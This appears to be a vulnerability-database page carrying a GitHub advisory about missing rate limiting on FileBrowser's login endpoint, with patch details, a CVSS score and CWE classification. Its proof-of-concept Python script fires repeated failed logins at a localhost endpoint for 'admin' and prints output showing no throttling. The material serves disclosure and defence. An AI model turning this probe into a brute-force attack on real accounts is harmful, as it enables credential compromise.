Skip to content
Fencer Intel
medium 6.5

GHSA-r4v7-6wcg-ghj5 json

FileBrowser: Missing Rate Limiting on Authentication Endpoint Enables Brute Force Attacks

published 4mo ago modified 4mo ago also GO-2026-5776

cvss
6.5
version 3.1, GitHub
cisa kev
Not listed
not in CISA's catalog
epss
—
no score, EPSS covers CVEs only
public exploits
0
none known

Summary

### Summary The `/api/auth/login` endpoint does not implement rate limiting, account lockout, or progressive backoff for repeated authentication failures. As a result, an attacker can perform unlimited login attempts against the endpoint. When combined with the username enumeration timing vulnerability, valid accounts can be identified and then brute-forced without restriction. The risk is further increased by a weak default password policy that only enforces a minimum length of five characters.

### Details The authentication endpoint `/api/auth/login` does not enforce any form of rate limiting, account lockout, or progressive backoff for repeated failed login attempts. Testing confirmed that the endpoint accepts an unlimited number of authentication attempts from the same client without delay or restriction.

This allows attackers to repeatedly attempt password guesses against valid usernames.

Secure authentication systems typically enforce request throttling, temporary account lockout, or progressive delays after repeated failed login attempts to mitigate brute-force attacks. ``` $ python rate-limit-probe.py [*] Probing http://localhost/api/auth/login for rate limiting, lockout, and backoff behavior... Attempt 10: status=401, latency=0.0411s Attempt 20: status=401, latency=0.0411s Attempt 30: status=401, latency=0.0402s Attempt 40: status=401, latency=0.0420s Attempt 50: status=401, latency=0.0403s Attempt 60: status=401, latency=0.0423s Attempt 70: status=401, latency=0.0474s Attempt 80: status=401, latency=0.0417s Attempt 90: status=401, latency=0.0407s Attempt 100: status=401, latency=0.0407s

--- CONCRETE EVIDENCE --- Attempts completed: 100 Total runtime: 4.17s Average request rate: 23.98 req/sec Unique status codes: [401] Average time (first 5): 0.0447s Average time (last 5): 0.0408s Latency delta: -0.0038s [RESULT] No HTTP 429 responses observed. [RESULT] No progressive backoff detected: response timing remained effectively constant. ``` #### Additional Context Password validation is implemented in `backend/database/storage/bolt/user.go` via `checkPassword()`, which only verifies that the supplied password length is greater than or equal to settings.Config.Auth.Methods.PasswordAuth.MinLength. In `backend/common/settings/auth.go`, the PasswordAuthConfig documents the default value of MinLength as 5. No additional complexity requirements, such as uppercase, lowercase, numeric, or special character checks, were identified in this code path.

### PoC The script below demonstrates the lack of rate limiting by performing a high volume automated authentication test. The script sends sequential login requests and monitors for HTTP 429 (Too Many Requests) status codes.

``` import requests import time import statistics

URL = "http://localhost/api/auth/login" USERNAME = "admin" PASSWORD = "wrong-password" MAX_ATTEMPTS = 100 TIMEOUT = 10

latencies = [] statuses = []

print(f"[*] Probing {URL} for rate limiting, lockout, and backoff behavior...")

start_total = time.time()

for i in range(1, MAX_ATTEMPTS + 1): start = time.perf_counter()

resp = requests.post( URL, params={"username": USERNAME, "recaptcha": ""}, headers={"X-Password": PASSWORD}, timeout=TIMEOUT )

duration = time.perf_counter() - start latencies.append(duration) statuses.append(resp.status_code)

if resp.status_code == 429: print(f"[!] Rate limit detected at attempt {i} (HTTP 429)") break

if i % 10 == 0: print(f" Attempt {i:3}: status={resp.status_code}, latency={duration:.4f}s")

end_total = time.time() attempts_completed = len(latencies)

print("\n--- CONCRETE EVIDENCE ---")

first_five_avg = statistics.mean(latencies[:5]) if attempts_completed >= 5 else statistics.mean(latencies) last_five_avg = statistics.mean(latencies[-5:]) if attempts_completed >= 5 else statistics.mean(latencies) latency_delta = last_five_avg - first_five_avg

print(f"Attempts completed: {attempts_completed}") print(f"Total runtime: {end_total - start_total:.2f}s") print(f"Average request rate: {attempts_completed / (end_total - start_total):.2f} req/sec") print(f"Unique status codes: {sorted(set(statuses))}") print(f"Average time (first 5): {first_five_avg:.4f}s") print(f"Average time (last 5): {last_five_avg:.4f}s") print(f"Latency delta: {latency_delta:+.4f}s")

if 429 not in statuses: print("[RESULT] No HTTP 429 responses observed.")

if abs(latency_delta) < 0.05: print("[RESULT] No progressive backoff detected: response timing remained effectively constant.") else: print("[RESULT] Latency variation detected: investigate possible throttling or environmental noise.") ```

### Impact An attacker can perform unlimited authentication attempts against valid usernames. When combined with the username enumeration timing vulnerability, this enables targeted brute-force attacks against user accounts and increases the likelihood of credential compromise.

Please let me know if you need any additional information or clarification. I'm happy to assist with testing or validating a fix.

Patch / fix

  • go github.com/gtsteffaniak/filebrowser 0.0.0-20260522161427-fa5abc8c67f3a

Is GHSA-r4v7-6wcg-ghj5 in your dependencies? Fencer shows which of your repositories are affected as soon as an advisory lands, and opens the fix as a pull request.

Check with Fencer

CVSS scores

assigned by version score vector
GitHub 3.1 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Affected packages

ecosystem package affected fixed in
go github.com/gtsteffaniak/filebrowser
<0.0.0-20260522161427-fa5abc8c67f3a
all versions
0.0.0-20260522161427-fa5abc8c67f3a

Classification

Weakness
  • CWE-307 Improper Restriction of Excessive Authentication Attempts

References

Sources

Fencer Intel keeps one entry per vulnerability: the CVE id wins, then GHSA, and records that alias each other are merged, except that two CVEs always keep separate entries. The same data is available as JSON.